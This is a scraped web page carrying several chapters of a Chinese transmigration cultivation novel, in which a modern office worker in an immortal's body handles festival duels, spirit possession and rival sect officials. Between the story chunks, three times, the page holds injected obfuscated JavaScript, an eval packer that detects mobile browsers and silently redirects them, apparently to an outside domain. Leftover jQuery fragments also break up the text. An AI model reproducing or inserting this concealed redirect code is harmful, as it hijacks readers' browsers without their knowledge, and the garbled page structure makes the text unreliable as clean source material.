() {
$(''.inform'').remove();
$(''#content'').append(''
弟子在不远处垂手而立,像是天塌了。
兰棹辞脸色虽然仍不好看,但讲话正常了许多,“一早,晏清司发现了几个行为异常的弟子,再经查证,乃是浊灵之祸。压制驱散后,我立刻派人彻查了所有结界,而出问题的,便是离你水月洞天最近的西北角这一道!”
“法力足够打开结界的人本就寥寥无几,你闭关多日,离你最近的结界又恰好出事,我当然第一个来问你!谁知道你……”
好单纯的逻辑,谢因这下是真信这本小说是大学生的课外消遣了,剧情如此直给,竟然一点脑子都不多用。
兰棹辞平板板说着,脸上又飞上一层难堪的红。
“谁知道撞见一份大礼是吧。”谢因面无表情地吐槽,兰棹辞的耳朵瞬间红得发紫。
谢因打量了一番结界,也看不出个所以然,毕竟仙法制成的东西,定然不会在硬件上看出破绽。从兰朝辞的态度看来,浊灵入侵仙界绝非小事,但暂时只附身了几个弟子,还没有造成太大的后果,现下最好是在闹出更大的问题前偷偷把此事查清,及时止损。
听起来这应该是完成任务最稳妥的做法。
见四下无人,谢因向兰棹辞挪了一步,端着一张堪称完美的清冷师尊脸,压低声音:“师兄,今日之事念在多年师兄弟情分上,便不追究了。”
兰棹辞一副见鬼了的表情。
“方才在水月洞天,师兄突然强迫我,食色性也,能理解,”谢因见兰棹辞装傻,“好心”提醒,“流光祭如此重要的时刻,掌司不第一时间处理漏洞,却忙于……咳,传出去那些常年跟随你修道飞升的弟子们作何想?师兄争做仙界第一人的伟大志向岂不是中道崩殂。”
兰棹辞木着脸说:“渡云长老何意,不妨明说。”
谢因循循善诱,兰棹辞这种卷王谢因在职场见多了,既然卷,那就一定特别好面子,谢因面上浮现出一个像素点的笑:“多年来我将晏清司的公务丢给师兄,实属不该,浊灵入侵一事,我愿与师兄一同查清,方才水月洞天,我也只当做了个梦,但……”
兰棹辞也不是傻子,冷笑一声,了然道:“师弟想让我隐瞒你修炼法宝被反噬,灵脉尽断的事。”
谢因眯眼:“诶,我们各自将方才在水月洞天听见的、看见的都暂时忘记,先把魔族浊灵的事情料理干净,若之后师兄还觉得我是个祸害,再行处置也不迟。”
谢因使出自己在职场上修炼的,像只老狐狸似的谈判技巧:“你还怕我赖账逃跑吗?”
兰棹辞的表情似有松动。
担心软的不行,谢因附加了点硬的:“哦,要是师兄不想跟我合作,那我的灵宠什么时候再‘错乱’一回,把师兄这‘仙界第一’拍得毫无反手之力,我可管不了,上次在我洞府没人看见,下次要是在什么正式场合,众目睽睽之下……”
兰棹辞被击沉了。
各种意义上的。
兰棹辞这人清心寡欲几百年,到处树立完美修真第一人的形象,怎么能容忍自己的高大伟岸一朝破碎,被“信徒”弃若敝履的事情发生。
领导都是要面子的,何况当了几百年的领导。
重新审视谢因,他这个师弟像变了一个人,少了点鹤唳松涛的遥不可及,多了些有条不紊的凡人味儿。
兰棹辞要是穿的,恐怕会对此“凡人味儿”做出更好的注解,名曰班味儿。
于是这人罕见地心虚了:“道心不稳的仙门弟子容易被浊灵附身,为魔族驱使,这都在其次,我担心那些修为更高、怨气更重的浊灵已经化成魔型,藏在扶摇仙山之中,若真如此,更是无从排查。”
也不晓得这个兰棹辞是否有些隐形debuff乌鸦嘴,他话音刚落,便见不远处慌慌张张跑来一个小弟子,急得站都站不稳:“掌司!不好了!流光祭……观剑台上出事了!”
8. 流光神祭(上)
兰棹辞与谢因同时一凛。
扶摇的流光祭乃是仙家六十年一度的盛事,除却各类节热闹非凡的庆祝活动和表彰大会外,扶摇众仙门还会在这几日将自己最得意的弟子送上擂台大比,用以彰显门风。
光是来观礼的修士便不知凡几,更别说他们可能也带着自己的弟子与扶摇仙君们切磋,整个流光祭挤满了有头有脸的人物。
若是浊灵入侵之事暴露,扶摇还怎么有脸面去向下管理?派驻六界的事务司还怎么工作?负责结界与安保工作的晏清司必然被问责,按照这本小说头脑简单的逻辑,渡云真人难辞其咎。
到时候渡云使用禁术修炼法宝之事暴露,就算任务不失败,用系统的话来说,他也要被仙界众人吊起来打,彻底嗝屁。
难搞啊……
“对了,忘了提醒你,”376号窜到谢因耳边,“今年的流光祭上还有一件大事,渡云真人要在流光祭上选定亲传弟子,所以观礼的人比往届更多。”
谢因的脑子一个有两个大:“什么意思,我要选定亲传弟子?那萧循……?”
“都说了现在是故事一开始啦,”376号语气轻快,“如今萧循还是个十六岁的小狗崽子呢,原书里渡云就是在流光祭上收他为徒哒!”
376说完,飞速消失,面前兰棹辞看向谢因的目光又阴沉起来:“若是浊灵入侵一事传扬出去,叫扶摇失了六界威信……”
极为危险的目光扫向谢因:“哼,我与师弟,都摘了仙者的名头,打入幽冥往生去罢!”
谢因沉默了几秒,而后意外冷静地回答:“好,我与师兄一道查明。”
兰棹辞一愣。他师弟是这种人设来着吗?
方案出错嘛,他有经验,第一步,不推卸责任,稳固小组组员军心。
“未免打草惊蛇,”第二步——不确定的工程现场最好还是亲自确认,他当机立断,“先去流光祭看看,若有异动,暂且压下,顺藤摸瓜。”
方案出错第三步——如果实在没法修正错误,就赶紧找个替罪羊。
显然谢因没说。
“好,都听你……”兰棹辞噎了一下,似乎意识到这样的话在这种情况下有些不妥,险灵灵地把话团吧团吧咽下去,差点憋出内伤。
奇怪,自己到底为什么会这样呢?被下毒了?
……
谢因如今没有法力,乘坐交通工具的事情自然就交给了兰棹辞。这人扶摇符修第一人的名头倒也不是花钱买的,动了动手指,袖子里便飘出五六张黄纸,转着圈儿在谢因腰间浮动起来,下一瞬他只觉得强烈的推背感把他拉回码速一百八十迈的跑车上,上天入地晃得他直想吐,只好凭空把猫紧紧抱在怀里,增加一点扎实的感觉。
全然没发现小黑猫要被他勒昏过去,两个白眼翻得比满月还大,喵都喵不出来。
修赛博仙,真够方便,谢因抹了一把额上的冷汗:“师兄,以后用这个之前能不能提前预警一下不良反应,万一吐你身上不太好看吧。”
兰棹辞没说话,但速度显然降了下来。这御空符效率奇高,转眼两人已经浮到流光祭坛的上方,视野瞬间开阔了不少。
谢因悬在半空,目下一片世外桃林的繁华热闹。原来扶摇并不只有他那水月洞天所在的高岭雪巅,更多的还是被溪水一样蜿蜒流淌的浮云架起来的缥缈仙境。
腾空而起后,谢因才发现扶摇似乎并不是一整块大陆,而是悬浮于天的十二座星屿,星屿之间由萤火般的光点连接。或许是因为在举办流光祭的缘故,这些光点缓慢地盘旋在每一颗星屿的四角,像支起一个个星帐,奇影朦胧,游光幢幢,美不胜收。
“这仙界确实有点仙界样子……”谢因漫不经心地点评一句。
就在此时,擂台传来一阵喧哗——
“萧循,擂台切磋点到为止!你如此咄咄逼人,算什么!”
脚下擂台上,一个瘦长的身影十分眼熟,谢因再定睛细看,可不就是萧循那个倒霉小孩儿和他拎着的那把破刀吗?
灵力尽失,目力却似乎没受折损,谢因从前有个两百多度轻微近视,如今倒像是给自己装了两枚望远镜,把萧循从头到脚看得分明。
诚如系统所说,如今时钟指针已拨回八年前,萧循还是个屁事不懂的小孩,个头没那么高,瘦不拉几地身上挎着一件完全不合身的衣裳,冷着一张生人勿近的倔强小脸,一招一式相当狠辣。
萧循退后两步,抬起手中长刀,冷笑一声:“打不过就认输,手上功夫还没你嘴上功夫一半厉害,废物。”
小家伙,倒是有些气性。或许是萧循目前模样尚小,很难让谢因把他与那个阴狠的“萧魔主”联系起来,看到这样一个又小又努力的身影,竟让谢因生出几分欣赏。
也是奇怪,这样一个小孩,到底怎么短短八年长成幽冥鬼里那个样子呢?
谢因还在分析遗传学规律,出神太久,手指被小黑猫不轻不重地咬了一口,此猫刚刚被谢因当抱枕那么折磨了一路,谁知两脚兽不仅不懂知恩图报,还轻易被别人勾走了魂儿,一双猫眼里蓄满了嫌弃。
“咪——!”
谢因赶紧呼噜呼噜猫头:“没你厉害,没你厉害。”
“咪——!!!!”
此时台上,萧循全然不给对方反应的机会,长刀狠狠向前劈去,全然不管什么刀法剑法,什么章程,一招一式就是冲着要对方命去的!
仙家娇养的小弟子哪见过这种攻势,吓得连连败退,手中法器更是被震出几米之外。
兰棹辞啧了一声:“这小孩儿天分挺高,但心浮气躁,行招太险。师弟先前不是夸过他的天分吗,你仔细看看,我把你放下去。”
谢因还没反应过来:“等……我日!”
兰棹辞自然没听清他要日哪位仙人,真御空符从不减速,抛个谢因像抛一个被搅散了黄的鸡蛋,不到瞬息,此人已经水灵灵地砸在观剑台了。
“轰!”
“嘶——”谢因沉着脸黑的像能滴水,浑身被砸得险些散架,繁冗的衣服和头发将他缠了起来,谢因一边把自己从层层叠叠里“剥”出来,一边狂骂兰棹辞一百八十遍,心说姓兰的迟早有一天得被这破符搞得身败名裂!
勉力站稳,谢因听见观剑台谁人惊呼一声——
“天哪,是渡云真人……他今日出关吗?”
“渡云真人!居然是他……他也来看这场比试了!”
“长着那样一张脸,难怪……”
擂台上打得难舍难分的两人甚至都默契地停了下来,投入擂台的目光也都被收回,集中砸向了谢因。
在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809961|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶摇,不,哪怕离开扶摇,放眼下界,“渡云真人”这张脸也如水中月,镜中花,是只存在于人口中的谪仙之人。哪怕他刚刚被兰棹辞的破“跑车”搞得一脸郁卒,在他人眼里也像一捧清冽澄明的雪,自满天星河里卸下,清澈又璀璨。
其实不怪兰棹辞天长日久、对师弟心生绮念,此等美人,一眼钟情亦不少怪,见色起意更是人之常情,兰棹辞的道心已经算得上很稳了。
但谢因并不觉得享受,他实在不觉得自己这张脸到底有什么值得迷恋的。像走错了选手通道被迫上场表演唱跳的后勤工作者,被追光灯当个top一样供了起来,每一道视线都如有实质,又像细鞭,深深浅浅地伸向他。
“这又是哪一出啊……”
好在谢因上过班,每次开会摸鱼恰逢领导问他“老谢你怎么看”的时候,谢因都有一套自己的“表演模式”——此时他老神在在地揣着猫,缓慢地扫视一圈,最后理直气壮地在观剑台找了个c位坐下了,抬了抬下巴,示意擂台上继续,不用管他,他只是随便“视察”。
众人自然听令,各自落座,只是视线的余光仍旧若有若无地落在这位“天上地下第一美人”的发梢。
而少有仍在关注擂台的人,也敏锐发现——擂台上萧循的眼神瞬间变了。
他本就攻得又凶又猛,可自从渡云真人落座,萧循提刀再斩,竟连原本还尚存的一点名为“留手”的体面都不顾,猛地一冲,竟割断了眼前对手的襟带,瞬间见了红!
看台上顿时非议四起:“这小子到底使得什么刀法,仙家弟子竟如此粗莽,他师尊也不教导?!”
“嗨呦,那是萧循,哪有什么师尊!”窃窃私语说到此处,音量有意转低,“十六年前,渡云真人在山下捡到这孩子,将他交给自己的师弟玉衡真人抚养,自己便闭关去了,并未管教过……”
谢因并不知道萧循的故事,听见有人介绍NPC背景,忙侧耳去听。
对方恍然大悟:“玉衡真人?是那个只知道花天酒地,成天倒在美人榻上的玉衡真人?真神在上,丢尽了仙家门面!”
“对对对,就是那个玉衡真人!”另一个声音又说,“那萧循十六年来,被丢到这里又丢到那里,没人真心管教,听说在弟子中也常受欺负,谁知道怎么练出来这一身功夫,自然是招式诡异,心狠手辣了!”
二人再说了什么,谢因听不清了,只是再看向擂台上时,萧循那张倔强又苍白的小脸,不知为何让谢因的心口抽痛了一下。
“奇怪……”谢因轻按了一下心口,不知造成这种反应的是自己,还是渡云。
擂台上输人不输阵,对面的仙门弟子哪忍得了此等奇耻大辱:“萧循!你做什么,知不知道今天是什么日子!”
萧循全然不理,擂台上风云大变,电闪雷鸣,笼罩在他身后,他之前出招已经相当诡谲,如今更是杀意迸现:“杀你就杀你,还要挑日子吗。”
此话一出,看台上更是哗然一片,谢因从身旁逐渐大起来的窃窃私语中,敏锐地抓到一耳:“这个小孩儿状态不对。”
“是啊是啊,诡异怪哉……”
“仙门何时有这样的弟子,倒有几分魔族浊气……”
魔族浊气……?谢因心下大喊不好,难道好死不死,偏偏是萧循被浊灵附体了?
9. 流光神祭(下)
还真有可能,毕竟这本破书直给,如果有什么重大剧情,必定是落在本小说男主身上。
一道极为阴阳怪气的嗓音从身后悠悠传来:“渡云长老,这持刀的小孩似与真人仙缘颇深呐,想来真人平日不少教诲……却不知此子手段如此阴狠,是否是跟渡云真人学来的?”
话音刚落,便见几个身着白衣,如鹤般清雅的仙君向谢因缓缓靠近,看衣着打扮,与兰棹辞十分相似,只是衣服颜色略有不同,谢因立刻在脑内敲打376号:“这几个是不是仙界十二司的主管?”
“哇塞,宿主你会根据穿搭举一反三,聪明啊!”376号立刻化身仙界百科,“仙界除了晏清司以外,另设密宗司、篁岐司、玄镜司、道天司……哦,还有七八个小部门,不太重要。我之前总结了一本《扶摇一本通俗易懂》,篁岐司掌药、术、阵、器的修炼和籍册,是扶摇各司的钱袋子;玄镜司则掌规则法度,各方监察、收集情报情报,有秘密处理修士而不担责的特权,是扶摇内部的家的监督管理部门;密宗司则比较温良,详掌“卷宗、档案、各种事项的记录,是个后勤部门……”
“而道天司名义上是统管扶摇的最高部门,也是与上古密卷中神界直接沟通的所在,但千年以来并无主事,道天司圣鸾羽偶尔出来晃晃,传达一下道天司令……宿主你打什么哈欠,你听懂没有?”
谢因听得都困了:“完全没有,太复杂了,你能不能说人话?”
“啧,被短视频荼毒成碎片化的现代人类啊,”376号长叹一声,用人话解释,“从职权上说,其余十一司都没有晏清司职权高,所以你比他们牛逼,方才说话的便是玄镜司的几位,上了千年的班都没升职加薪,因此看不起‘不上班还能稳坐二把手之位’的渡云,一有风吹草动就来找你的晦气。”
人话真的好俗啊。
那几位主管虽长相穿着都清风霁月,说起话来却十分mean,看看谢因,又看看擂台上的萧循,冷笑一声——
“小小年纪便如此不分轻重,渡云长老别只顾着自己讨好兰掌司,保住自己的位置,晏清司的其他弟子,也要管教管教呀……”
“慎言,慎言,咱们渡云长老那是在闭关,只是闭关在做什么就无人知了,没准忙着……啧……”
兰棹辞的脸色先沉了下来,两张黄符自他袖中悄然飘出,飞至那二人脑后,还未亮咒,却听见谢因十分淡淡地“啊”了一声。
“这是在阴阳我吗?”
玄镜司一唱一和的俩人被他这没由来的“真诚发问”打了个当头,一时竟不知怎么回答如此诚恳的问题。
“师兄勤于公务,把晏清司卷成了十二司之首,导致玄镜司的本务被压缩得岌岌可危,二位心中积怨已久,可惜师兄是个‘完人’,你们抓不住把柄,有火也只能藏着,但我不一样,好不容易看到我,你们可算得到发难的机会了,是吗?”谢因很是恬淡,甚至懒得从座位上起来,一张白瓷般的脸上,一双眸子向下垂视,并没有将他们放在眼里。
就像是前两年他面对自称要整顿职场的00后,能力不足把整个项目组搞得一团糟,辞退后又带着家人大闹公司,最后洋洋洒洒给谢因发了一张3000字的小作文律师函,谢组长都没打开,轻轻回了个“1”,让对方彻底破防。
谢因并不知道原本的渡云真人是何性格,他倒不似渡云那样拒人千里之外,但讲话难听这一点实则非常相似:“毕竟我这么多年不是在云游就是闭关,有什么能耐外人一概不知,恐怕不爱交际,名声也不好听,所以二位掌司是觉得,我怎么看都像是凭借美色蛊惑兰棹辞上位的草包?”
被“真诚”打败的二人面面相觑一眼:“渡云真人自己知晓就好!”
“哦,”谢因微笑,“二位掌司也觉得我貌美,多谢。”
二人被这句话激得脸上腾一红,又腾一白,“你你你”了半天都没“你”出新的东西来,而谢因则当听不见,又将视线放回擂台上——萧循对面的弟子被他挑衅数次,已然不再管顾什么套路招数,滚地龙一样跟萧循缠斗起来。
萧循倒是蛮游刃有余的,这真的是被浊灵附体的样子吗?
整个擂台上乌云密布,小弟子的师傅也不知是哪一位,谢因斜眼扫过自己面前的几位长老,竟无一人出面制止,而是忙着触自己的霉头。
“此子毕竟是渡云真人从山下带回的,多年来虽是散养,但偶尔出关,也会询问教授课业,如何不算渡云真人的弟子?”见玄镜司俩人成了哑巴,又不知是哪门好事之徒越众而出,“教出行事如此狠绝的弟子,渡云真人却发难起我们来了?”
果然只要有人的地方就有勾心斗角,神仙也一样。
可惜这里不是他的项目组,谢因半点儿包袱都没有,向后一靠:“既然真的到了各位口中的‘不能放任’、‘行事狠绝’的地步,为什么诸位掌司不先叫停比试,而是忙着在我这儿刷脸?”
他微微挑眉,眼梢有些讽刺:“怎么,打不过我徒弟?”
此话一出,周围的一群看客是擂台打成什么样都不想看了,一双双大小不一的眼睛都若有若无地向谢因这边飘了过来——
徒弟?谢因亲口认了的徒弟?难怪那么嚣张!
……
“行了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809962|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”
终于,兰棹辞一个头两个大,见他这渡云师弟气定神闲地把各家掌司气得面红耳赤,不好不公允,只好拨开众人,沉下声:“事已至此,即是晏清司门下弟子,由渡云师弟叫停,诸位掌司对我师弟有所误解,今日也请诸位放下成见,管好门人才是要事。”
说着,他手指在袖中一动,想凭空支起御空符,又忽然想起谢因之前在御空飞行时对自己的“下次飞之前先预警一下”的嘱咐……
眉眼一压,兰棹辞逼音成线,板板正正落进谢因耳中。
“师弟,预警。”
谢因:什么预警?
下一秒,谢因弹射起飞。
谢因:日。
真·御空符从不减速,擂台上的两个弟子打得眼红,两柄长刀铮地一声碰撞在一起,就在此时,只见一阵金光雷电之中,渡云真人携风雷之势直逼而来,那压迫感像是要将他俩就地正法。
萧循一愣,手中破刀一收,下意识向后退了两步。
谢因的衣角方才轻飘飘落下,便听见萧循讷讷叫了句:“仙尊”。
哪有什么“行事狠绝”“浊灵附体”,那表情明明像是犯了错有些手足无措的流浪狗。
萧循已然收手,可他的对手却丝毫不顾及谢因长老的身份,红着眼,竟直直一刀劈了过来!俨然一副管你是谁站在台上,人挡杀人,佛挡杀佛,端地是一往无前的气势。
谢因方才站稳,躲闪不及,手边也无法器,眼见那一刀几乎直冲自己眉心而来,谢因心头猛地一沉——
作为一个入职之后基本告别健身房的社畜,谢因从未在团建之外的任何地方接触过运动类项目,此时内心只有痛骂兰棹辞的大爷,说让你忘了在水月洞天的事儿,没让你全忘了啊,明明知道他现在灵脉尽断,到底什么回路才能让自己来叫停比试啊?!
更悲哀的是,那刀直直向自己劈来,这具身体居然真没有什么外挂金手指,甚至体魄都算不上很好……连躲开的下意识都没有?!
谢因连连退了几步,那一刀狠狠地落下,他堪堪躲过,大概是比较狼狈的,脚下不稳,险些落下擂台,衣角也不慎被切去一块!
观剑台一片死寂,随后又沸腾起来,众人眼中的惊愕转换成了轻蔑。
“这怎么可能?堂堂渡云真人竟无一丝灵力,连玄镜司弟子的一招都接不住?!”
全然不顾擂台上那位更像“走火入魔”的弟子还未停手。
谢因心一沉,376号的系统音也在此时适时响起:
“啊哦,宿主你好像要被发现了,任务失败,你要死翘翘了诶。”
10. 天外来客
看台上又活跃起来——
“你们没发现吗?渡云真人每次闭关之后……灵力都不如前……”
“听说最近扶摇西北角的结界也有异动,难道跟他修为大减有关?”
“哼……晏清司的长老还真的修炼邪术,走火入魔不成?”
谢因来不及顾忌愈来愈大的争议声,只见那玄镜司弟子杀红了眼,像是根本听不见旁人说的话,更不在意当下的情形!谢因在呼吸之间察觉到,这孩子面色枯槁,嘴唇发白,唯有一双眼里尽是杀意,比起“活人”,看起来更像是个傀儡。
谢因刹那间明白:被浊灵附体的压根儿不是萧循,而是对面那个小弟子。
萧循的状况……怎么更像早已知情,故意把他的狂性引将出来呢?
他下意识想与兰棹辞交换情况,可放眼观剑台,兰棹辞已经被围的水泄不通,各路同门总算有的放矢、争先恐后地别谢因的苗头。
……根本无暇分神看谢因一眼。
像个发布任务的npc。
谢因适才发现,这个世界看似已经有一部分脱离了原作母本自行诞生了一套逻辑,只要出现有助于剧情发展的重要节点,所有人的行为都像是被预设一样。
譬如现在,原作里渡云真人应该就是在此处修为尽失暴露炉鼎体质的,于是所有人都在推波助澜。
像是有一只手,无形地拨动剧情的天平。
这小弟子根本不可能停手。谢因目色一沉,方一张口,只觉喉间一阵腥甜,抬手一拭,竟晕出一道血痕。
“奶奶的,果然凡胎□□搞不赢这群修仙的。”谢因说不慌神是假的,御空符替他挡不了多久,浊灵入侵的事情恐怕很难瞒下去不说……如果自己被调查,渡云灵力尽毁的事一定会暴露,任务失败他就死定了。
可是在这挨打也会死定的吧……谢因闭目,心说萧循这小孩儿动作慢死了,这时候不护驾等着跟他一起死吧。
就在此时,他突然听到一个很虚无的声音,像是从第三空间之类的地方传来的asmr,就在自己耳边,却并无实物,那个声音笑得很温和——“不想死?”
“谁?!”随着这阵声音,谢因只觉得灵台三寸有一阵火焰烧灼的沸腾之感,下腹气海涟漪轻泛,随后又疯狂地震荡起来,这种怪异的感觉让谢因下意识有些抗拒,“你是什么人,为什么可以……”
那个声音并不预备和谢因废话:“闭眼,运气,不想死就听我的。”
谢因下意识照做,合眼瞬间,仿佛血管中除了第一次接受了全新的流质,随着奔腾的血液贯通他的四肢百骸……竟是一股巨大的灵力钻进了他的身体?是谁给他的?
谢因手腕一痛,睁眼时,才发现那只在他袖子里打盹的黑猫不知何时窜到了他的肩上,转头的一瞬,他和那双竖成一线的眼瞳正正对上,那是一双金色的眼睛。
荒诞的想法攀上谢因的心头,他微微侧脸,对上毛茸茸的小胡须:“难道,是你……”
来不及等到回答,谢因忽觉背后一凌,脑子还没反应过来,身子竟已如燕般轻巧躲开,顿时身上的纱衣似莲花般散开,衣袂之上竟有淡淡蓝色灵光!玄镜司弟子攻势落空,竟一点都不需要反应的功夫便又向谢因连绵不绝地刺来,蒙着白色雾气的双眸似乎根本察觉不到谢因身遭气势陡变。
那个虚无的声音在谢因稳稳落地后似是很满意,语气还有一些好暇以待等待夸奖的意思:“不错,会了?”
谢因莫名其妙体验了一把威亚项目,脑子都是蒙的:“会什么会了?!”
“会了就行,”那个声音完全不在意谢因回了什么,“浊灵在他七寸,你从侧面……”
可能是刚刚消化完渡云真人“英雄”救“狗”的伟岸,萧循可算不发呆了,两步之间便挡到谢因跟前,指向身中浊灵的玄镜司弟子:“伤他?你找死!”
“啧。”谢因脑子里那个声音不知为何有些不爽,语气瞬间淡了下来,“真人真是天下桃李,你现在是想享受被心爱的好徒弟‘英雄救美’,还是保留自己的脸面,给扶摇来个下马威?”
那还用想,谢因嘴比脑子快:“我有那么牛逼?能不能让我试试。”
“哦,那就让这死小孩走远点。”谢因的手被控制着向外一挥,满溢的灵力像是找到了泄洪的闸门,砸开道筏横冲直撞地扫了出去,一阵红光近乎笼罩了一整个擂台,汹涌的灵力如惊涛骇浪,不仅把那个玄镜司的小兄弟摔出了擂台,还把来护他的萧循一视同仁地扔了出去!
众人在巨大的灵力风暴之中,只见谢因面不改色,淡漠的面庞上似是对扶摇众人的嘲讽,直到一阵红雾几乎笼罩所有人的视线,另人不自觉闭眼躲闪。
灵力风暴散去,如一叶小舟,将半空中晕厥的玄镜司小弟子稳稳托着放在地上,而萧循则实打实摔了个大的。
小猫确认萧循摔得结结实实,愉悦地“喵”了一声,很是优雅地站在谢因肩膀上,眸中赤红色光芒大盛,斥地观剑台上看热闹落井下石的趴了八成,剩下几位修为仅次兰棹辞的还能勉力站着。
谢因不明就里,只觉灵力几乎如抽丝一般从他身上散去,谢因腿软到几乎要跪下,但他勉力维持住了身形,飞起的外衫悠悠落下,显得渡云真人颇有那么几分破碎感。
方才那股巨大的灵力力究竟从何而来,现在又去了何处,他根本不知道,唯一知道的是——狐假虎威也好,浑水摸鱼也罢,这么牛逼的一场战斗力,另观台上的一行人如今都支支吾吾起来,向自己投来的眼神也多了几分收敛。
谢天谢地,一时半会应该无人会质疑渡云真人的“真材实料了”。
玄镜司长老面如菜色,颤颤巍巍抬手指向谢因,好险呕出一口血:“……你,你究竟……”
是什么东西。这话他没敢说,毕竟如此强悍的修为,恐胜在座所有人,他毕竟要脸,毕竟要命。
更可怕的是,渡云真人身上明明感受不到什么灵力……难不成这人闭关时又加突破,人已入臻化境,或者修炼高明到把所有人踩在脚底的程度了?几人面面相觑,都不再多言。
谢因收回手,小黑猫重新栽到他怀里,那双灼人的金色的眼瞳又恢复了宝石红色,此时正在优哉游哉地舔毛,谢因提溜起它的后脖颈子打量它,软绵绵毛茸茸的小东西“咪”了一声,粉色的肉垫在空中踩起奶来,看起来完全就是一只如假包换的无害小猫咪。
怎么都想象不到它和那个温和中带着戏谑的虚无声音有关联是什么样子……
情势紧急,谢因也来不及去抓那个送了自己一阵子灵力的“救命恩人”,他大步登上观礼台,忽略了对自己上下打量的几个老登,只对兰棹辞一颔首:“师兄,烦请先命人把这两个孩子带回晏清司处置。”
兰棹辞明白谢因是要尽量封锁那弟子身上有浊灵入体的消息,挥挥手,便有几位青碧色校袍的青年落在擂台外,把摔得次牙咧嘴的萧循和还在昏迷的玄镜司弟子扣了起来。
“谢因!”玄镜司的长老立时又跳起来,“你处置你晏清司的弟子也就算了!现下想扣我玄镜司的人,何来这样的道理!”
“道理?晏清司抓人要什么道理,”谢因琢磨了一下,觉得自己这话说的太像□□,于是语气几无波澜地找补,“晏清司负责流光祭的安全保障,你手底下的实习生……手下的弟子恶意伤人,甚至袭击师长,若晏清司放任不管,你岂不是又要A上来说我失职了。”
兰棹辞干咳一声,替谢因翻译成官话:“既然是长老的得意门生,如果他没有问题,我们自然放人。”
“哼!说得好听!”谢因这几句话显然猛戳这位玄镜司长老的痛脚,谁人不知晏清司接管扶摇以来雷霆手段,他玄镜司都快闲出霉来了,他谢因当面挑衅,岂能容他如此狂悖,“你们晏清司不分青红皂白扣人也不是第一次了,甚么‘问题’,就算没有问题,难道你们就会轻易放过吗?别以为我们不知道,今日晨起,其他各司被扣留的数位弟子们,如今人又在何处?”
兰棹辞脸色一沉,望向谢因,纵是小心行事,弟子失踪太久,仍然不好交代。他试图从师弟眼神中读出什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15809963|175186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好的解决办法,当初他们定的可是不要打草惊蛇,可又如何堵住这群老登的悠悠之口?
谁知谢因只是回了他一个微笑的表情,十分淡然地怼了回去:“告诉你了有用吗?你这弟子道心不稳,症状极似身中浊灵,你们玄镜司竟无一人发觉,眼睛都长我身上了?”
烦得要死,跟那些屁都不懂还要在设计里掺和一脚最后说“还是用第一版吧”的土鳖甲方一样烦。
兰棹辞心下一急:“师弟!此事怎可当众……!”
观剑台上的众人听得此言,俱是震惊。
“…什么!浊灵?魔界的浊灵入侵扶摇了?”
“真的是浊灵,被浊灵附体之人易被控制心神,将恶念放大,莫非刚才擂台上两个孩子是……”
“浊灵混入仙界,我们竟然浑然不觉……”
玄镜司长老听见谢因这话,先是眉头紧皱,而后福至心灵、反戈一击:“兰掌司,如今浊灵之事若是属实,晏清司首当其冲!难不成各位要让六界之人笑话我扶摇无人,竟由得浊灵大行其道!”
“长老太客气了,看笑话怎么也轮不到我,”谢因找了个座儿,才懒着和他们站着干瞪眼,四平八稳地坐了下来,乜斜道,“扶摇又不姓谢,一荣俱荣,一损俱损,你们不会觉得出了这样的事儿,光找晏清司的晦气就能挽回颜面吧?”
诸位长老的脸上都一阵青一阵白的。
显然谢因没打算给众人任何反驳时机:“浊灵最易附在道心不专、修为较浅的新弟子身上,今晨起晏清司发现数十名弟子行事诡异,不明缘由,哦,说来,玄镜司各位长老的得意门生占了泰半。”
“那我想问,”谢因瞥了一眼对方,“玄镜司究竟是如何培养弟子的,给浊灵有机可乘?”
不得不说,尽管谢因认为现在他只是在与对方友好对话,但他那双眼睛不含情绪地、漫不经心地放在别人身上时,配上他平板板的话音,确实很像看狗。
“渡云你这……!”这玄镜司的长老险些被他盯得倒仰过去,这人虽然出关之后变得更古怪了,嘴里说着不知道哪儿学来的疯话,但这气人的一张嘴分文不变,如假包换!
兰棹辞适时咳了一声,示意诸位安静,“疑似行为有异的弟子都被安置在晏清司排查清洗,并无大碍,之所以未把此事公开,是不希望诸位为了一点个人恩怨,本末倒置,将扶摇的安危抛之脑后。目前形势,晏清司已有对策,待此事闭,兰某会上报道天司,自领责罚。”
兰棹辞起先可能没什么计划,估计真的被bug洗脑,认为他是罪魁祸首。只是这厮天塌下来都必须在外人面前维持扶摇和晏清司的体面,于是他也装了装:“流光祭照常进行,晏清司会保障诸位的安全,各司长老有事可到晏清司一议,若没有,就各司其职,别一天到晚盯着谢某了。”说真的,他想收费。
争了也没用,吵又吵不过。
